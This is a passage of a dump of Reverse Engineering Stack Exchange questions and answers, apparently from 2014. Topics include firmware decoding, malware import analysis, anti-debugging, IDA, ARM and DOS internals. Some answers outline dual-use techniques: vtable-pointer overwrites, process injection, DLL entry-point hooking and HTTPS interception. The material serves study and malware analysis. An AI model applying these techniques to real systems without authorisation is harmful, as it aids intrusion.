003F1F0: 84 95 74 64 B4 63 13 14 00 00 00 00 3C DC C5 6C   ..td.c......<...\n
\n\n

The first 8 bytes look like a good place to start. Going through a few common XOR strategies resulted in nothing. Then I noticed that these bytes have a low nibble of 3, 4 or 5 which would place them in the printable ASCII range. So swap the nibbles of each byte (aka rotate left 4 bits) ... :

\n\n
003F1F0: 48 59 47 46 4B 36 31 41 00 00 00 00 C3 CD 5C C6   HYGFK61A........\n
\n\n

Bingo! Since the firmware updater window title is \"HY USB Firmware Downloader\", I think this is a winner. Loading the resulting file into IDA, Cortex M-0 Thumb 2 settings, and sure enough, we have valid code starting at offset 0x0120 and ASCII string block at offset 0x32121.

\n\n

Summary: Decode the .bin files by processing each byte as:

\n\n
rotate left 4 bits and invert:  \nc = (((c & 0x0f) << 4) | ((c & 0xf0) >> 4)) ^ 0xff\n
\n" }, { "Id": "5948", "CreationDate": "2014-07-28T05:30:06.883", "Body": "

I want to reverse engineer an application using HTTPS to communicate.

\n\n

I need a tool that performs a man in the middle attack and send it's own SSL certificate to the application, so I can decrypt the HTTPS connection it makes by passing the RSA private key to WireShark.

\n\n

By the way, I have heard about a tool called stunnel, but the documentations I found about how to configure it just confused me. :|

\n", "Title": "Using Stunnel to packet capture HTTPS connection", "Tags": "|sniffing|wireshark|https-protocol|", "Answer": "

An alternative approach would be to use the browser tools or a browser extension, such as Google Developer Tools for Chrome or Web Console for Firefox. These tools will show you the entire request, response, and body of all network traffic and timeline of when connections are made. In Chrome, you can even edit the page content and review how it affects the page. These are very powerful tools for reverse engineering the DOM and request structure.

\n" }, { "Id": "5949", "CreationDate": "2014-07-28T05:37:13.850", "Body": "

I want to know how to find the functions which is interesting in malware tools.\nFor example, I have a sample of unknown virus (this sample is lab01-01.exe in the book practical malware analysis lab1-01.dll). It is not packed.

\n\n

I am supposed to find out what does this malware by knowing the imported DLLs and the functions it uses. Here are the imported functions in the executable file lab01-01.exe:

\n\n
KERNEL32.dll :\nCloseHandle\nUnmapViewOfFile\nIsBadReadPtr\nMapViewOfFile\nCreateFileMappingA\nCreateFileA\nFindClose\nFindNextFileA\nFindFirstFileA\nCopyFileA\n
\n\n

And from MSVCRT.dll:

\n\n
_getmainards\n_p_initenv\n_p_commode\n_p_fmode\n_set_apps_typr\n_setusermatherr\n_adjust_fdiv\n_controlfp\n_except_handler3\n_exit\n_initterm\n_stricmp\n_XcptFilter\nexit\nmalloc\n
\n\n

But, I didn't find any function imported from lab01-01.dll.

\n\n

I also want to know why, although the book mentioned that both the executable file and DLL are related (it should be imported).

\n", "Title": "How to figure out which imported function(s) in a virus determine its behaviour?", "Tags": "|windows|malware|static-analysis|dll|pe|", "Answer": "

While others have already provided some answers, I would like to add some additional points.

\n\n

You could code a pintool (DBI) which logs all the API calls. You could add some filters in your pintool to reduce the amount of API calls you log. Using a pintool has an advantage since anti debugging techniques used by malwares would not have an effect on it. Of course, we are assuming that the malware is not trying to protect itself from DBI frameworks. However, if you set breakpoints on LoadLibrary and GetProcAddress to see which libraries are loaded dynamically and which function addresses are resolved, you could be effected by anti debugging techniques used by the malware. Before you hit the breakpoint, the malware would have already discovered that it is being debugged and alter the program flow.

\n\n

I would suggest you not to conclude the functionality of a malware only by looking at the API names imported from different modules. A sequence of API calls can sometimes indicate malicious activity. For instance,

\n\n
CreateProcessW\nVirtualAllocEx\nWriteProcessMemory\nWriteProcessMemory\nGetThreadContext\nSetThreadContext\nResumeThread\n
\n\n

Now, you could see these API names imported from kernel32.dll when you open the binary in a software like CFF explorer, however to conclude the usage of these APIs, an API trace would help. In this case, it is a standard method used by several binaries to perform code injection into the address space of another process.

\n" }, { "Id": "5956", "CreationDate": "2014-07-28T12:26:34.920", "Body": "

Actually, I am trying to learn a little about vtable overflows. So, my learning documents state the following:

\n\n
\n

The main point to realize is that whenever we declare a C++ class\n with virtual methods, the pool of memory where it exists (the heap,\n the stack, etc.) now contains a pointer to a function pointer table\n which will eventually be used to call the function. In the event of an\n overflow, we can overwrite this pointer value so that our code will be\n called the next time a virtual method is called.

\n
\n\n

So, my question is, how do I find the location of the vtable pointer ?

\n\n

I mean, do I have to search through PEB like when I am trying to find the base address from some modules. Or, is this specific for each situation ?

\n", "Title": "How to find the location of the vtable?", "Tags": "|debuggers|c++|vtables|", "Answer": "

This is compiler dependent - the compiler may place the vtable wherever it wants to, as long as it does it consistently. However, in most cases, the vtable pointer is the first element (at offset 0) of the generated structure.

\n\n
class test {\n    int a;\n    int b;\n    test()          { ...; }\n    ~test()         { ...; }\n    void somefunc() { ...; }\n    int c;\n}\n
\n\n

would use this memory layout for the class:

\n\n
+----------------+               +--------------+\n|  vtable        | ------------> | test         |\n+----------------+               +--------------+\n|  a             |               | ~test        |\n+----------------+               +--------------+\n|  b             |               | somefunc     |\n+----------------+               +--------------+\n|  c             |\n+----------------+\n
\n\n

so (assuming pointers and integers are all 4 bytes), the vtable is at offset 0, a at 4, b at 8 and c at 12.

\n\n

Note that not all compilers use this convention. For example, the Watcom C++ 386 compiler didn't use a vtable at all, but mixed the function pointers with data. (I know this case because i once disassembled a game that was compiled with Watcom 20 years ago. Not that i expect you to ever see this kind of layout in a modern compiler, just to provide an example that it can be different):

\n\n
+----------------+\n|  test          |\n+----------------+\n|  ~test         |\n+----------------+\n|  a             |\n+----------------+\n|  b             |\n+----------------+\n|  somefunc      |\n+----------------+\n|  c             |\n+----------------+\n
\n\n

The entries at offset 0 and 4 (again, assuming 4 byte integers/pointers) are the parameterless constructor and destructor function of the class, the rest is a mix of variables and methods in the order they appear in the class definition. Of course, this is horribly inefficient, because the compiler has to initialize every class method whenever an object is instantiated, instead of just setting one pointer to the vtable.

\n\n

TL;DR: In most cases, the vtable pointer is the first element of the class structure, but you really need to know which compiler was used and which conventions this compiler has.

\n\n

Another thing - you talk about a \"vtable overflow\" in your original post. Your \"normal\" exploit doesn't overflow a vtable; the vtables are pre-initialized when your program starts, and (normally) never ever change. To write an exploit, you would either:

\n\n
    \n
  1. use a buffer overflow to modify a function pointer in a vtable, so the next time the class method gets called, your code is executed instead
    2. \n
  2. use a buffer overflow to modify the vtable pointer of a class instance, so the next time this class instance executes a method, your vtable is used instead of the other one.
    3. \n
\n\n

As vtables normally don't change, and may even be placed in a read-only memory segment by the compiler, your normal exploit ignores 1. and uses 2.

\n" }, { "Id": "5972", "CreationDate": "2014-07-29T15:30:35.310", "Body": "

While viewing the PE headers and imported functions of some programs designed with visual C. I found that they all include one of these functions:

\n\n\n\n

Does this mean that any program (even malware) that imports any of these functions must be compiled by MSVC ?

\n", "Title": "Does MSVCXXX.dll means that the PE file is compiled by Microsoft Visual C?", "Tags": "|disassembly|c++|c|pe|", "Answer": "

\"Extremely unlikely and uncommon\" sounds exactly like something malware would try/strive for.

\n\n

Using normal WinAPI functions, as a distraction for the reverser or a time-wasting mechanism against an emulator, in malware packers is common .
\nThere is no reason for not using msvcrt.dll functions (However one cannot count on Redistributable Packs for Visual Studio X being installed so the presence of msvcrt90.dll and similar is a flag against it being malware), so the presence of msvcrt* is not reliable at all.

\n\n

Entry-point signature, Rich signature or the debug directory would be better choices.

\n\n

Just quickly: Those with a D are the debug versions.

\n" }, { "Id": "5978", "CreationDate": "2014-07-29T18:13:20.037", "Body": "

I'm analyzing entries in the relocation section of a binary. In particular, I want to know if all the targets of jumps have a corresponding entry in the relocation section. The screenshot shows the relocation section entries of the binary I'm analyzing, to the left, as well as the assembly code of the binary showing only the jump instructions, to the right.

\n\n

\"Relocation

\n\n

From what I understand, the first instruction in the assembly code at address 0x40be04 (jmp *0x4f422c) should have an entry in the relocation section. However, the last entry in the relocation section is for address 0x401fee.

\n\n

Why don't some addresses have an entry in the relocation section? Am I misunderstanding something in my analysis?

\n\n

P.S: The screenshot shows the binary disassembled using objdump on cygwin. The relocation section entries were generated using PE-Parser (https://github.com/trailofbits/pe-parse)

\n", "Title": "Missing addresses from relocation section of ASLR enabled PE binary", "Tags": "|binary-analysis|binary-format|", "Answer": "

There are a couple of possiblities here.

\n\n

One possibility is that the relocation table has been truncated, so you see only the first page of relocation items (the table is an array of items on a per-page basis).

\n\n

Another possiblity is that the file doesn't support ASLR (perhaps intentionally, or perhaps it is assumed to not exist) so the relocation table isn't parsed. This would allow the address at 0x40be04 to execute even in the absence of a relocation item, because the image will never be loaded to another address.

\n\n

Further, the disassembly itself looks strange, as though the file is obfuscated. If so, then it is quite possible that the author of the obfuscator does not take ASLR into account, and so did not bother to add relocation items for the relevant jump.

\n" }, { "Id": "5984", "CreationDate": "2014-07-31T01:28:02.850", "Body": "

So basically I am writing some code to do analysis work on disassembled assembly code.

\n\n

I am trapped in this issue for a while, here is an simple example of a disassembled asm code by objdump, basically all the address symbols have been translated into concrete value.

\n\n
1. mov 0x8408080, %eax\n2. ....\n3. call *%eax\n
\n\n

So basically for the above example, it is easy to determine that 0x8408080 used in line 1 is an address of code, and I know it is relatively easy to heuristically consider all the value falling into the range of .text section as a pointer.

\n\n

However, how to use static analysis to automatically identify this issue? (I want to write a tool to analyze large amount of code as accurate as possible)

\n\n

I know somehow I should use constant propagation to forwardly do the analysis, but basically as I am new to program analysis, I just don't know actually where to start..

\n\n

Does anyone have experiences like this? Or is there any implemented tools I can look for help..?

\n", "Title": "How to do static analysis to identify pointer from concrete value in assembly?", "Tags": "|disassembly|assembly|x86|static-analysis|", "Answer": "

Basically, distinguish between values, addresses and instruction is the role of a type recovery system.

\n\n

There is an excellent seminal paper from Alan Mycroft about a technique called type-based decompilation (ESOP'99) which might give you some ideas on how to do.

\n\n

Another, more recent, paper describes the technique that is currently used in the Phoenix decompiler which is called: TIE: Principled Reverse Engineering of Types in Binary Programs (NDSS'11) written by people from CMU and that give an in-depth of the technique they use.

\n\n

Apart from that, the reconstruction of the shape of the types (array, struct, etc.) can be done by using the DIVINE technique (VMCAI'07) by Reps and Balakrishnan. A more extensive journal paper (TOPLAS'10) has been also published by both authors that gather all their work about the topic.

\n\n

Still, there are a lot of other works on this domain, but I believe the papers I cited above to be, more or less, the current trend in the 'type-recovery' domain.

\n" }, { "Id": "5993", "CreationDate": "2014-07-31T18:45:55.150", "Body": "

I've been trying to figure how a html5 browser like chrome or firefox performs geolocation under the hood but I'm running into some difficulties.

\n\n

Difficulties

\n\n

To be more precise, I want to know what happens when a piece of javascript calls navigator.geolocation.getCurrentPosition (success_func) but before success_func actually gets called back. I want to know how the browser goes about obtaining the latitude and longitude coordinates. What's the protocol it uses? What servers does it query to obtain this information? etc.

\n\n

Here's what I have determined and tried:

\n\n\n\n

If you guys were trying to determine and reverse the protocol a given browser uses to implement geolocation how would you guys proceed?

\n\n

Other Resources

\n\n

Here are some things I've already looked at that I found helpful:

\n\n\n\n

The problem is some of the info mentioned there is out-of-date and no longer accurate. My aim now is to figure out exactly what changed and how an external custom application can use this protocol itself for geolocation.

\n", "Title": "How to identify HTML5 geolocation protocol of a browser?", "Tags": "|tools|protocol|", "Answer": "

For Firefox (i.e. Gecko) and Chrome (i.e. Blink) you can just look in the source code:

\n\n

Searching the Firefox codebase for getCurrentPosition yields the source file nsGeolocation.cpp. As you see in the linked source line, it creates an instance of a geolocation provider. Assuming Firefox for Desktop, there is only the NetworkGeolocationProvider (FirefoxOS may also use GPS).

\n\n

In essence, Gecko opens an XMLHttpRequest to the URL specified in about:config as geo.wifi.uri. Per default this is https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_API_KEY%.

\n\n

Blink performs its http request in network_location_request.cc, with the same API endpoint defined as in Firefox (cf. location_arbitrator_impl.cc).

\n\n

(NB: I looked at Gecko HG revision a4f779bd7cc2 and Blink SVN revision 287303)

\n" }, { "Id": "5995", "CreationDate": "2014-08-01T03:58:03.317", "Body": "

I am learning some gdb and it is covering examining arrays. There is the following code, and I see it is 4 bytes, and how a[1] = 2 in an array int a[] = {1,2,3}

\n\n
(gdb) x/4xb a + 1\n0x7fff5fbff570: 0x02  0x00  0x00  0x00\n
\n\n

But what if a was greater than what could be shown by a single hex byte? Then how does it work for the second part? Sorry if this is unclear, I don't know how tow ord it exactly.

\n", "Title": "Hex representation of integer values in excess of FF (255)", "Tags": "|gdb|", "Answer": "

I think you have two questions here. The first part is how to convert from decimal to hexadecimal and back; the second part is how a multi-byte value is represented in memory. Guntram Blohm's answer covers the first part in detail, and I'll try to muddle through an answer to the second here.

\n\n

So, consider a multi-byte hexadecimal number...ABCD, where each letter represents a byte. So for example in 0x03B87C43 A represents 0x03, B represents 0xB8, C represents 7C and D represent 0x43. Finally, D is referred to as the low-order byte.

\n\n

Now, the various bytes can be arranged in different ways in memory; and there are two major forms that are currently in use today:

\n\n

little-endian form:

\n\n

The low-order byte is placed at the lowest memory address, thus our example number would be\nstored in memory thusly:

\n\n
 1000  1001  1002  1003   <----- memory addresses, notional     \n+-----+-----+-----+-----+\n|  D  |  C  |  B  |  A  |\n+-----+-----+-----+-----+\n
\n\n

Intel processors use this form of storing multi-byte numbers.

\n\n

big-endian form:

\n\n

The low-order byte is placed at the highest memory address, thus our example number would be \nstored in memory thusly:

\n\n
 1000  1001  1002  1003   <----- memory addresses, notional     \n+-----+-----+-----+-----+\n|  A  |  B  |  C  |  D  |\n+-----+-----+-----+-----+\n
\n\n

Non-Intel SUN workstations use this form (IIRC they use a Motorola processor).

\n\n

other forms.

\n\n

just about any other arrangement can be used. For example, PDP-11 used a system where \na 32-bit value was stored in little-endian format, with the exception of each byte of the 16-bit half was swapped. Thus our sample number would be stored in memory as:

\n\n
 1000  1001  1002  1003   <----- memory addresses, notional     \n+-----+-----+-----+-----+\n|  C  |  D  |  A  |  B  |\n+-----+-----+-----+-----+\n
\n\n

Hope this helps a bit.

\n" }, { "Id": "5998", "CreationDate": "2014-08-01T16:05:48.347", "Body": "

Are there any technical hurdles to implementing floating point support in re-oriented intermediate languages? I ask because none seem to support it, but give few reasons why. The only comment on the topic I've seen is from Sebastian Porst who in 2010 merely said

\n\n
\n

REIL is primarily made to find security-relevant bugs in code. FPU code pretty much never plays a role in such code.

\n
\n", "Title": "Floating point in RE intermediate languages like vine il, bap il, and google/zynamics reil", "Tags": "|static-analysis|", "Answer": "

Floating point support is possible. I think there are two reasons why it's not common:

\n\n\n" }, { "Id": "5999", "CreationDate": "2014-08-01T17:30:52.570", "Body": "

I found a tool for Linux called INetSim which emulates services such as HTTP HTTPS IRC and many other. It is often used to trick malware. The problem is that INetSim works only on Linux. So I want Windows based tool for Win 7 32bit which is alternative to this ( I prefer a gui one )

\n", "Title": "Are there any Windows alternatives to INetSim?", "Tags": "|tools|dynamic-analysis|", "Answer": "

Not a GUI tool, but FakeNet is a good alternative.

\n\n
\n

FakeNet is a tool that aids in the dynamic analysis of malicious\n software. The tool simulates a network so that malware interacting\n with a remote host continues to run allowing the analyst to observe\n the malware\u2019s network activity from within a safe environment. The\n goal of the project is to:

\n\n
- Be easy to install and use; the tool runs on Windows and requires no 3rd party libraries\n- Support the most common protocols used by malware\n- Perform all activity on the local machine to avoid the need for a second virtual machine\n- Provide python extensions for adding new or custom protocols\n- Keep the malware running so that you can observe as much of its functionality as possible\n- Have a flexible configuration, but no required configuration\n
\n
\n\n

Mandiant's ApateDNS is a good tool for responding with fake DNS response:

\n\n
\n

Mandiant ApateDNS is a tool for controlling DNS responses though an\n easy to use GUI. As a phony DNS server, Mandiant ApateDNS spoofs DNS\n responses to a user-specified IP address by listening on UDP port 53\n on the local machine. Mandiant ApateDNS also automatically sets the\n local DNS to localhost. Upon exiting the tool, it sets back the\n original local DNS settings.

\n
\n\n

\"enter

\n" }, { "Id": "6012", "CreationDate": "2014-08-03T08:45:57.663", "Body": "

While checking the PE header of DLLs and EXE(s) by PEviewer, I found something called \"magic number\".

\n\n

After googling \"magic number\". I found that it is used to determine the file type. My question is how can a malware analysist benefits from this magic number ? And why is it in the PE header ?

\n", "Title": "Is the magic number important", "Tags": "|static-analysis|pe|", "Answer": "

A magic number is a set of bytes used when accessing a file to determine its type. For example, the standard Microsoft PE begins with (in ASCII) MZ, the initials of one of the developers of MS-DOS.

\n\n

The initial headers in a portable executable specify a variety of information regarding the file, ranging from the supported platform, number of symbols, number of sections, time stamps, etc. As such, it is a logical location to store the magic number, as it is also part of the file metadata.

\n\n
\n

How can a malware analyst benefit from this magic number?

\n
\n\n

The only information the magic number provides is the file type, and as such that is all that can be garnered by a malware analyst, or any type of analysis. Although one can refer to the file extension to check a file type, they can be changed without affecting the contents of the file. As such, checking the magic number is a method to determine the true file type. Discrepancies would then indicate potential malicious behavior or attempts to hide data.

\n" }, { "Id": "6018", "CreationDate": "2014-08-03T20:17:39.410", "Body": "

I have written a C API with support for static import hooking via overwriting the corresponding IAT entry of an exported function. It works nicely for older simple applications, but for more modern applications, it is less effective. This is primarily due to the large amount of applications nowadays that dynamically import functions.

\n\n

My solution to this problem was to create the process in an initial suspended state and then hook the LoadLibrary(Ex)(A/W) family of functions along with GetProcAddress() to replace the retrieved address of a target function with my own. That solution is limited in part due to the fact that it is based off the application only importing dynamic functions and libraries in the executable module, without working for processes created later ( although that could be solved by hooking CreateProcess() ) or more importantly, it doesn't handle the DLLs in the application that also call the target functions I want to hook. This is obviously because the DLLs have a separate import section in their own PE from the executable module.

\n\n

Which brings me to my question, how do I hook the entry point of a DLL? I want to implement that method because I need the DLL to be bound to the libraries it imports statically, so I can hook the LoadLibrary/GetProcAddress functions in before the DLL has a chance to load/import them in DLLMain. I'm assuming there is a way to do this by changing the entry point of the DLL, or by hooking a lower level function that handles calling a DLL entry point in kernel32.dll.

\n\n

If the method I'm requesting has a better alternative, then I would gladly accept that solution as well if it achieves my desired effect.

\n\n

My processor is an AMD Athlon II X2 250 that is x86-x64 compatible, and my operating system is Windows 7.

\n", "Title": "How to hook the entry point of a DLL?", "Tags": "|windows|c|dll|pe|function-hooking|", "Answer": "

To answer the original question, what you can do is to hook LdrpCallInitRoutine in ntdll.dll. This function is used by DLL loading/unloading code to actually call the DLL entry point (DllMain) and also the TLS callbacks. The first argument is the address to be called:

\n\n
BOOLEAN NTAPI LdrpCallInitRoutine(PDLL_INIT_ROUTINE EntryPoint, PVOID BaseAddress, ULONG Reason, PVOID Context);\n
\n" }, { "Id": "6024", "CreationDate": "2014-08-05T18:18:22.163", "Body": "

While reading a book it mentioned that the following code is usually used to as an antidebugger

\n\n
mov     eax,   large fs:18h\nmov     eax,   [eax+30h]\nmovzx   eax,   byte ptr [eax+2]\nretn\n
\n\n

I don't understand what are the keywords large , byte, ptr and retn. I am new learner of assembly and its usage in malware.

\n", "Title": "How does this test for debugger", "Tags": "|assembly|malware|anti-debugging|", "Answer": "

The syntax is incorrect, but the code is basically what IsDebuggerPresent does.

\n\n
    \n
  1. Get a pointer to the TEB (located at fs:18h)
    2. \n
  2. Get a pointer to the PEB (located at teb+30h)
    3. \n
  3. Check the BeingDebugged flag (located at peb+2)
    4. \n
\n\n

The syntax should be something like:

\n\n
mov     eax, large fs:18h\nmov     eax, [eax+30h]\nmovzx   eax, byte ptr [eax+2]\n
\n\n

If you don't understand assembler syntax, though, you're generally going to have a bad time when analyzing malware.

\n" }, { "Id": "6026", "CreationDate": "2014-08-06T08:22:41.997", "Body": "

I am newbie in IDA Pro. I have a basic question, what is the difference between instruction and function in IDA Pro? Is function contains some instructions on it ?!

\n\n

Thanks in advance :)

\n", "Title": "Difference between Instruction and Function in IDA Pro", "Tags": "|ida|", "Answer": "

An instruction is bytes that can be decoded. They may or may not be real instruction by virtue of not being called. Might be data that looks like possible code.

\n\n

Functions is instructions that have been indicated are called and this is the start. The indication might be a user action like pressing P or auto analysis following call locations in other code/functions.

\n\n

But, in either case you can tell IDA that something is or is not code or functions. The only trick is if some bytes of a function are not valid instructions, then IDA will not lets you create a function.

\n" }, { "Id": "6029", "CreationDate": "2014-08-06T15:59:41.050", "Body": "

I disassembled a C# program with ildasm and modified the il code to my needs but now when i try to assemble it back into an exe i get these errors:

\n\n
Cannot compile native/unmanaged method\nLocal (embedded native) PInvoke method, the resulting PE file is unusable\n
\n\n

I have generated a snk file and tried to use that with ilasm but i still get the same errors.

\n\n

EDIT: These errors were given by ilasm when i try to reassemble the .il file. I also tried to edit the code in Reflector but after editing and trying to save it says that it cannot save mixed mode assemblies. Maybe i would be able to edit the binary in HEX editor?

\n", "Title": "Cannot compile native/unmanaged method", "Tags": "|c#|", "Answer": "

Depending how extensive your modifications are, the way I've always done it was to only compile the snippet you want to inject (or manually convert the OpCodes) and patch the existing binary rather than recompile

\n\n

also, IlSpy may be easier for what you want as you can simply go:

\n\n

.net binary > c# decompiled > .net binary

\n\n

http://ilspy.net

\n" }, { "Id": "6037", "CreationDate": "2014-08-07T15:22:05.090", "Body": "

DOSbox compiled with --enable-debug=heavy option becomes a powerful reversing tool. Anytime I feel like checking the disassembly and memory state I just hit Alt+Pause.

\n\n

But, what if I want to see the very first instructions of the program ? How do I start the application so that it immediately enters debug mode before even starting execution ?

\n", "Title": "How to start a DOS application in DOSbox in debug mode?", "Tags": "|disassembly|debugging|dos|", "Answer": "

If you build with --enable-debug[=heavy] and run the program via debug.com, it automatically breaks on the first instruction. See the DOS_Execute function in src/dos/dos_execute.cpp and DEBUG_CheckExecuteBreakpoint in src/debug/debug.cpp.

\n" }, { "Id": "6040", "CreationDate": "2014-08-08T08:42:06.503", "Body": "

How to check if Windows executable is 64-bit reading only its binary. Without executing it and not using any tools like the SDK tool dumpbin.exe with the /headers option.

\n", "Title": "Check if exe is 64-bit", "Tags": "|windows|pe|executable|", "Answer": "

Here's a fun, quick little trick if in a Windows environment and you're checking for an x86 or x64 binary:

\n\n
    \n
  1. Right-click on the application.
    2. \n
  2. Click Properties.
    3. \n
  3. Click the Compatibility tab.
    4. \n
  4. In the Compatibility mode section, check the Run this program in compatibility mode for: box.
    5. \n
  5. If you see Windows 95 as an option from the drop-down, then it's a 32-bit application. If you do not, then it's a 64-bit application.
    6. \n
\n" }, { "Id": "6048", "CreationDate": "2014-08-10T12:16:12.517", "Body": "

I'm using IDA to disassemble Test Drive III. It's a 1990 DOS game. The *.EXE has MZ format.

\n\n

The game uses a number of anti-reversing features such as copying its code to segment (PSPseg+2be7) where PSPseg is the initial value of ES (i.e. the segment where PSP resides). As far as I know, COM executables are always loaded right after the end of Program Segment Prefix (PSP), so that both PSP and exe fit into one segment. What about MZ executables? Is there any fixed place where application's PSP is located relatively to the application itself?

\n\n

In other words, is the base-PSPseg offset always the same? On my DOSBox at the start of the program execution CS is always 0x22CF, ES=DS=0x01FE, CS0 in the MZ header is 0x20C1, yielding base-PSPseg offset 0x0010 (16 segments, 256 bytes - exactly the size of PSP).

\n\n

If this offset is not fixed and both PSP and the application are just loaded randomly in whatever memory location is big enough, then is there at least any guarantees about their addresses? Like that PSP address is always lower than the app's base address?

\n", "Title": "Any correlation between DOS Program Segment Prefix and the base address of loaded executable?", "Tags": "|disassembly|x86|dos|dos-exe|segmentation|", "Answer": "

The PSP is a process table, it holds information about a running process (application), it is created and filled by the loader. The loader uses the EXEHDR information to fill some of the fields of the PSP and else. After creating the PSP the loader grabs the application code (whatever comes after the EXEHDR up to the end of the file and loads just after the PSP.

\n\n

The PSP occupies the beginning of an application (COM and EXE) allocated memory; the PSP offset in the segment is always 0000H - 100H. When your application starts, DS and ES segments points to PSP, you have to adjust them to your application data segment before proceeding.

\n\n

Segments are not fixed, they are defined based on the free memory space, but offsets within a segment are always the same, otherwise your applicaton would break, all your data and code is defined (calculated) base on offsets from the beginning of a segment.

\n\n

CS is filled by the loader after allocating memory and loading your program, IP is also filled by the loader, this information is extracted from the EXEHDR (the offset of the application entry point (it is calculated by the assembler/compiler when it builds the object code), but its defined by the programmer in assembly, it is the label set after the directive END in masm, or by the compiler, in c is the main function offset ).

\n" }, { "Id": "6061", "CreationDate": "2014-08-12T16:38:24.023", "Body": "

I am quite new to ARM assembly, I already saw that the bang (!) is used to really update a register after a computation in the addressing mode syntax, but I can't figure out what is the difference of semantics between (this output is from objdump so it uses gas syntax):

\n\n
ldm r4!, {r0, r1, r2, r3}\n
\n\n

And:

\n\n
ldm r4, {r0, r1, r2, r3}\n
\n\n

Any idea ?

\n", "Title": "What is the meaning of '!' in ldm arm assembler instruction?", "Tags": "|assembly|arm|gas|", "Answer": "

The ! denotes writeback of the base register. Base register is the register used to address the memory to be read or written - in your case it's R4. Writeback means that the base register will be updated with the delta equal to the size of transferred data.

\n\n

So, the instruction

\n\n
ldm r4!, {r0, r1, r2, r3}\n
\n\n

can be represented by the following pseudocode:

\n\n
r0 = *(int)(r4) \nr1 = *(int)(r4+4) \nr2 = *(int)(r4+8) \nr3 = *(int)(r4+12) \nr4 = r4 + 16 // writeback (16 bytes transferred)\n
\n\n

In the variant without ! the writeback doesn't happen so R4 retains the original value.

\n\n

In the LDR and STR instructions you may also encounter pre-indexed and post-indexed notation:

\n\n
LDR R0, [R4, #4]  ; simple offset: R0 = *(int*)(R4+4); R4 unchanged\nLDR R0, [R4, #4]! ; pre-indexed:   R0 = *(int*)(R4+4); R4 = R4+4\nLDR R0, [R4], #4  ; post-indexed:  R0 = *(int*)(R4+0); R4 = R4+4\n
\n\n

For more information see the ARM Assembler Guide.

\n" }, { "Id": "6065", "CreationDate": "2014-08-13T13:30:34.913", "Body": "

Still looking at ARM assembler semantics (and, I try hard to read the specification, I ensure you!!!). I have some doubts about the ARM bit-shift instructions in general and RRX in particular.

\n\n

Lets start with RRX.

\n\n

From Davespace, Introduction to ARM, section Barrel Shifter, we see that RRX correspond to:

\n\n

\"RRX:

\n\n

I suppose the C to be the carry flag found in the CPSR, is it correct ?

\n\n

Second question, in the case of the following instruction:

\n\n
ands   r9, r0, r0, ror #3\n
\n\n

I read that the carry flag (C) is set to the value of the last bit shifted out by the shifter operand (here ROR).

\n\n

My problem is that the ands is also supposed to update the CPSR because of its flag s. So, who is winning at the end ? And, what is left in the final carry flag ? The value resulting of AND or the value resulting of ROR ?

\n", "Title": "Semantics of the RRX shift instruction in ARM and Carry flag updates?", "Tags": "|assembly|arm|", "Answer": "
    \n

  1. Yes, C is the carry flag.

    2. \n

  2. C is set from the result of the ROR operation.

    3. \n
\n\n

Pseudocode of the AND (register) instruction from the ARM ARM:

\n\n
if ConditionPassed() then\n    EncodingSpecificOperations();\n    (shifted, carry) = Shift_C(R[m], shift_t, shift_n, APSR.C);\n    result = R[n] AND shifted;\n    if d == 15 then // Can only occur for ARM encoding\n        ALUWritePC(result); // setflags is always FALSE here\n    else\n        R[d] = result;\n        if setflags then\n            APSR.N = result<31>;\n            APSR.Z = IsZeroBit(result);\n            APSR.C = carry;\n            // APSR.V unchanged\n
\n\n

As you can see, APSR.C is set to the result of the shift operation, not the AND operation.

\n\n

Now, AND is pretty straightforward but in case of e.g. ADD you may have carry affected by both the shift and the add. So what happens? Again, ARM ARM to the rescue:

\n\n
if ConditionPassed() then\n    EncodingSpecificOperations();\n    shift_n = UInt(R[s]<7:0>);\n    shifted = Shift(R[m], shift_t, shift_n, APSR.C);\n    (result, carry, overflow) = AddWithCarry(R[n], shifted, APSR.C);\n    R[d] = result;\n    if setflags then\n        APSR.N = result<31>;\n        APSR.Z = IsZeroBit(result);\n        APSR.C = carry;\n        APSR.V = overflow;\n
\n\n

The answer: the add \"wins\" and the carry of the shift operation is discarded.

\n\n

BTW, a good page to check what happens for each concrete instruction is here. For example:

\n\n
ands r9, r0, r0, ror #3\nmachine code: E01091E0\n...\ncpsr.N  \u2190   (r0 AND r0 ROR 3)<31>\ncpsr.Z  \u2190   r0 AND r0 ROR 3 = 0\ncpsr.C  \u2190   #CARRY (ROR_C (r0,3))\nr9  \u2190   r0 AND r0 ROR 3\nr15 \u2190   r15 + 4\n\n\nadds r9, r0, r0, ror #3\nmachine code: E09091E0\n...\ncpsr.N  \u2190   (r0 + r0 ROR 3)<31>\ncpsr.Z  \u2190   r0 + r0 ROR 3 = 0\ncpsr.C  \u2190   #CARRY (AddWithCarry (r0,r0 ROR 3,False))\ncpsr.V  \u2190   #OVERFLOW (AddWithCarry (r0,r0 ROR 3,False))\nr9  \u2190   r0 + r0 ROR 3\nr15 \u2190   r15 + 4\n
\n" }, { "Id": "6067", "CreationDate": "2014-08-13T14:20:53.240", "Body": "

I'm disassembling a packed 16 bit DOS MZ EXE.

\n\n

To deobfuscate it, I've set a breakpoint in DOSbox at the end of the unpacking routine, let it run, and made a memory dump. This way I essentially got the deobfuscated EXE image.

\n\n

Problems started when I loaded the image in IDA. You see, I don't understand the IDA's concept of segments. They are similar to x86 segments, but there are numerous differences which I can't grasp. When IDA asked me to create at least one segment, I just made a single huge segment 1 MB length, because the code and data in program's address space are mixed and it doesn't make sense to introduce separate segments such as CODE, DATA etc.

\n\n

After showing IDA the entry point, everything worked fine: IDA successfully determined functions, local variables, arguments etc. The only problem is that some calls are marked as NONAME, even though they point at correct subroutines. The strangest thing is that those subroutines have correct XREFs to the 'illegal' calls. Here's an example:

\n\n
seg000:188FF 004                 call    1AD9h:1         ; Call Procedure\n
\n\n

This line is red and has an associated NONAME problem in Problems List. Why?

\n\n

The 1AD9h:1 seg:offset address corresponds to linear address 0x1ad91, which has this:

\n\n
seg000:1AD91     ; =============== S U B R O U T I N E =======================================\nseg000:1AD91\nseg000:1AD91     ; Attributes: bp-based frame\nseg000:1AD91\nseg000:1AD91     sub_1AD91       proc far                ; CODE XREF: sub_188F2+DP\n
\n\n

Note the XREF. So IDA actually processes the call correctly! Why is the call considered invalid? IDA help file says this:

\n\n
\n

Problem: Can not find name

\n \n

Description

\n \n

Two reasons can cause this problem:

\n \n
    \n
  1. Reference to an illegal address is made in the program being\n disassembled;
    2. \n
  2. IDA couldn't find a name for the address but it must exist.
    3. \n
\n \n

What to do

\n \n
    \n

  1. If this problem is caused by a reference to an illegal address

    \n \n
      \n
